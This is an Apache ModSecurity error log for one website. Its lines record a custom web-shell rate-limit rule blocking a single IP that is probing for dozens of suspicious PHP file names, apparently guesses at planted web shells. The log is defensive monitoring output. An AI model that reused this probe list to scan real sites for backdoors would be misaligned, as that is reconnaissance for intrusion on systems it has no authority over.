[Fri Apr 17 20:33:31.220587 2026] [:error] [pid 51878:tid 51893] [client 4.212.95.215:35377] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/footer.php"] [unique_id "aeIom0nQhUtMbw9EsgaFDQAAAQ0"]
[Fri Apr 17 20:33:37.329953 2026] [:error] [pid 34273:tid 34278] [client 4.212.95.215:53444] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/img.php"] [unique_id "aeIooWuQDW686mK3dgEAmQAAAYM"]
[Fri Apr 17 20:33:41.000785 2026] [:error] [pid 25010:tid 25016] [client 4.212.95.215:14170] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/img.php"] [unique_id "aeIopI-7kkf42RarqQ1yWQAAAUM"]
[Fri Apr 17 20:33:47.458029 2026] [:error] [pid 25010:tid 25017] [client 4.212.95.215:37128] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/img.php"] [unique_id "aeIoq4-7kkf42RarqQ1yXQAAAUQ"]
[Fri Apr 17 20:33:51.174746 2026] [:error] [pid 51878:tid 51887] [client 4.212.95.215:33034] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/img.php"] [unique_id "aeIor0nQhUtMbw9EsgaFPQAAAQc"]
[Fri Apr 17 20:33:54.457627 2026] [:error] [pid 51878:tid 51903] [client 4.212.95.215:39323] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/12.php"] [unique_id "aeIosknQhUtMbw9EsgaFTgAAARc"]
[Fri Apr 17 20:34:18.904766 2026] [:error] [pid 51878:tid 51899] [client 4.212.95.215:14206] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maxro.php"] [unique_id "aeIoyknQhUtMbw9EsgaFvwAAARM"]
[Fri Apr 17 20:34:22.865212 2026] [:error] [pid 51878:tid 51901] [client 4.212.95.215:39073] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maxro.php"] [unique_id "aeIozknQhUtMbw9EsgaFygAAARU"]
[Fri Apr 17 20:34:26.661559 2026] [:error] [pid 34273:tid 34299] [client 4.212.95.215:33060] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maxro.php"] [unique_id "aeIo0muQDW686mK3dgEA0QAAAZg"]
[Fri Apr 17 20:34:33.242661 2026] [:error] [pid 9153:tid 9227] [client 4.212.95.215:39058] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maxro.php"] [unique_id "aeIo2eMHGxkTZX3c45cFNgAAAIk"]
[Fri Apr 17 20:34:35.852606 2026] [:error] [pid 51878:tid 51882] [client 4.212.95.215:44158] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aeIo20nQhUtMbw9EsgaGDwAAAQI"]
[Fri Apr 17 20:34:39.362787 2026] [:error] [pid 9151:tid 9179] [client 4.212.95.215:44474] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aeIo38hTVuRPkua22vQ6PAAAABI"]
[Fri Apr 17 20:34:44.028454 2026] [:error] [pid 51878:tid 51883] [client 4.212.95.215:45977] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aeIo5EnQhUtMbw9EsgaGMwAAAQM"]
[Fri Apr 17 20:34:55.939870 2026] [:error] [pid 61523:tid 61566] [client 4.212.95.215:40260] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1s7y8wt9dz.php"] [unique_id "aeIo78OaH-Pgc7WEf4PE0QAAAdg"]
[Fri Apr 17 20:35:07.171271 2026] [:error] [pid 34273:tid 34294] [client 4.212.95.215:53539] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1s7y8wt9dz.php"] [unique_id "aeIo-2uQDW686mK3dgEA5gAAAZM"]
[Fri Apr 17 20:35:12.288658 2026] [:error] [pid 34273:tid 34279] [client 4.212.95.215:38318] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bdktk.php"] [unique_id "aeIpAGuQDW686mK3dgEA7gAAAYQ"]
[Fri Apr 17 20:35:13.091017 2026] [:error] [pid 61523:tid 61556] [client 4.212.95.215:38279] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bdktk.php"] [unique_id "aeIpAcOaH-Pgc7WEf4PE8wAAAc4"]
[Fri Apr 17 20:35:16.409888 2026] [:error] [pid 9152:tid 9200] [client 4.212.95.215:48961] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bdktk.php"] [unique_id "aeIpBJJYca8I3TNCwIdYrQAAAEo"]
[Fri Apr 17 20:35:35.402807 2026] [:error] [pid 61523:tid 61546] [client 4.212.95.215:38001] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "aeIpF8OaH-Pgc7WEf4PFJgAAAcQ"]
[Fri Apr 17 20:35:37.624888 2026] [:error] [pid 25010:tid 25019] [client 4.212.95.215:14356] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "aeIpGY-7kkf42RarqQ1ylgAAAUY"]
[Fri Apr 17 20:35:38.643331 2026] [:error] [pid 9153:tid 9223] [client 4.212.95.215:40432] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "aeIpGuMHGxkTZX3c45cFcwAAAIU"]
[Fri Apr 17 20:35:39.573689 2026] [:error] [pid 61523:tid 61541] [client 4.212.95.215:31918] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "aeIpG8OaH-Pgc7WEf4PFLQAAAcA"]
[Fri Apr 17 20:35:41.911432 2026] [:error] [pid 25010:tid 25025] [client 4.212.95.215:31934] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r2.php"] [unique_id "aeIpHY-7kkf42RarqQ1ymgAAAUw"]
[Fri Apr 17 20:35:44.706204 2026] [:error] [pid 9153:tid 9237] [client 4.212.95.215:55255] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r2.php"] [unique_id "aeIpIOMHGxkTZX3c45cFdgAAAJM"]
[Fri Apr 17 20:35:50.519845 2026] [:error] [pid 61523:tid 61557] [client 4.212.95.215:39107] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r2.php"] [unique_id "aeIpJsOaH-Pgc7WEf4PFUAAAAc8"]
[Fri Apr 17 20:35:55.148316 2026] [:error] [pid 34273:tid 34290] [client 4.212.95.215:39720] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r2.php"] [unique_id "aeIpK2uQDW686mK3dgEBDAAAAY8"]
[Fri Apr 17 20:35:57.311405 2026] [:error] [pid 25010:tid 25017] [client 4.212.95.215:51373] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ah25.php"] [unique_id "aeIpLY-7kkf42RarqQ1yogAAAUQ"]
[Fri Apr 17 20:36:02.047216 2026] [:error] [pid 51878:tid 51891] [client 4.212.95.215:43812] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ah25.php"] [unique_id "aeIpMknQhUtMbw9EsgaHbAAAAQs"]
[Fri Apr 17 20:36:03.986862 2026] [:error] [pid 25010:tid 25037] [client 4.212.95.215:33535] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ah25.php"] [unique_id "aeIpM4-7kkf42RarqQ1ypgAAAVg"]
[Fri Apr 17 20:36:13.168288 2026] [:error] [pid 51878:tid 51888] [client 4.212.95.215:51347] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/006.php"] [unique_id "aeIpPUnQhUtMbw9EsgaHigAAAQg"]
[Fri Apr 17 20:36:23.154497 2026] [:error] [pid 9152:tid 9212] [client 4.212.95.215:55298] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/006.php"] [unique_id "aeIpR5JYca8I3TNCwIdZDgAAAFY"]
[Fri Apr 17 20:36:25.894098 2026] [:error] [pid 9152:tid 9202] [client 4.212.95.215:37260] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/006.php"] [unique_id "aeIpSZJYca8I3TNCwIdZDwAAAEw"]
[Fri Apr 17 20:36:28.812278 2026] [:error] [pid 9153:tid 9229] [client 4.212.95.215:41831] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/samll.php"] [unique_id "aeIpTOMHGxkTZX3c45cFvQAAAIs"]
[Fri Apr 17 20:36:30.846045 2026] [:error] [pid 34273:tid 34283] [client 4.212.95.215:51724] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/samll.php"] [unique_id "aeIpTmuQDW686mK3dgEBDwAAAYg"]
[Fri Apr 17 20:36:32.228491 2026] [:error] [pid 9263:tid 9265] [client 4.212.95.215:34891] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/samll.php"] [unique_id "aeIpUBP68VyHNvj1e54ymQAAAMA"]
[Fri Apr 17 20:36:33.357554 2026] [:error] [pid 34273:tid 34280] [client 4.212.95.215:40669] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/samll.php"] [unique_id "aeIpUWuQDW686mK3dgEBFgAAAYU"]
[Fri Apr 17 20:36:43.735303 2026] [:error] [pid 9153:tid 9226] [client 4.212.95.215:34894] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1100.php"] [unique_id "aeIpW-MHGxkTZX3c45cGBwAAAIg"]
[Fri Apr 17 20:36:45.371767 2026] [:error] [pid 34273:tid 34286] [client 4.212.95.215:55318] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1100.php"] [unique_id "aeIpXWuQDW686mK3dgEBLQAAAYs"]
[Fri Apr 17 20:36:47.019803 2026] [:error] [pid 34273:tid 34299] [client 4.212.95.215:48555] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1100.php"] [unique_id "aeIpX2uQDW686mK3dgEBLwAAAZg"]
[Fri Apr 17 20:36:47.944390 2026] [:error] [pid 9152:tid 9214] [client 4.212.95.215:8746] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1100.php"] [unique_id "aeIpX5JYca8I3TNCwIdZMQAAAFg"]
[Fri Apr 17 20:36:50.335498 2026] [:error] [pid 34273:tid 34282] [client 4.212.95.215:14442] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "aeIpYmuQDW686mK3dgEBOAAAAYc"]
[Fri Apr 17 20:36:52.219365 2026] [:error] [pid 34273:tid 34281] [client 4.212.95.215:44483] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "aeIpZGuQDW686mK3dgEBQAAAAYY"]
[Fri Apr 17 20:36:54.891699 2026] [:error] [pid 9152:tid 9203] [client 4.212.95.215:39957] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "aeIpZpJYca8I3TNCwIdZNgAAAE0"]
[Fri Apr 17 20:36:56.301295 2026] [:error] [pid 51878:tid 51888] [client 4.212.95.215:45631] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "aeIpaEnQhUtMbw9EsgaH2QAAAQg"]
[Fri Apr 17 20:36:57.881646 2026] [:error] [pid 9263:tid 9283] [client 4.212.95.215:41811] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aeIpaRP68VyHNvj1e54yugAAANI"]
[Fri Apr 17 20:37:00.603471 2026] [:error] [pid 9152:tid 9201] [client 4.212.95.215:36733] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aeIpbJJYca8I3TNCwIdZRAAAAEs"]
[Fri Apr 17 20:37:03.342190 2026] [:error] [pid 9152:tid 9208] [client 4.212.95.215:33785] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aeIpb5JYca8I3TNCwIdZTgAAAFI"]
[Fri Apr 17 20:37:04.803214 2026] [:error] [pid 51878:tid 51896] [client 4.212.95.215:40961] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aeIpcEnQhUtMbw9EsgaH5wAAARA"]
[Fri Apr 17 20:37:07.358028 2026] [:error] [pid 61523:tid 61549] [client 4.212.95.215:14400] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-kz.php"] [unique_id "aeIpc8OaH-Pgc7WEf4PFlAAAAcc"]
[Fri Apr 17 20:37:10.119767 2026] [:error] [pid 9152:tid 9195] [client 4.212.95.215:45620] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-kz.php"] [unique_id "aeIpdpJYca8I3TNCwIdZVQAAAEU"]
[Fri Apr 17 20:37:15.494810 2026] [:error] [pid 61523:tid 61546] [client 4.212.95.215:48589] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-kz.php"] [unique_id "aeIpe8OaH-Pgc7WEf4PFqAAAAcQ"]
[Fri Apr 17 20:37:22.753572 2026] [:error] [pid 9263:tid 9283] [client 4.212.95.215:40036] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-lo.php"] [unique_id "aeIpghP68VyHNvj1e54y0QAAANI"]
[Fri Apr 17 20:37:24.374895 2026] [:error] [pid 61523:tid 61565] [client 4.212.95.215:48148] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-lo.php"] [unique_id "aeIphMOaH-Pgc7WEf4PFvwAAAdc"]
[Fri Apr 17 20:37:28.088112 2026] [:error] [pid 9152:tid 9193] [client 4.212.95.215:36461] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-lo.php"] [unique_id "aeIpiJJYca8I3TNCwIdZZAAAAEM"]
[Fri Apr 17 20:37:35.038583 2026] [:error] [pid 61523:tid 61547] [client 4.212.95.215:36462] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-lo.php"] [unique_id "aeIpj8OaH-Pgc7WEf4PF3gAAAcU"]
[Fri Apr 17 20:38:12.500202 2026] [:error] [pid 9151:tid 9185] [client 4.212.95.215:33735] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/file-gertdxz.php"] [unique_id "aeIptMhTVuRPkua22vQ6vwAAABg"]
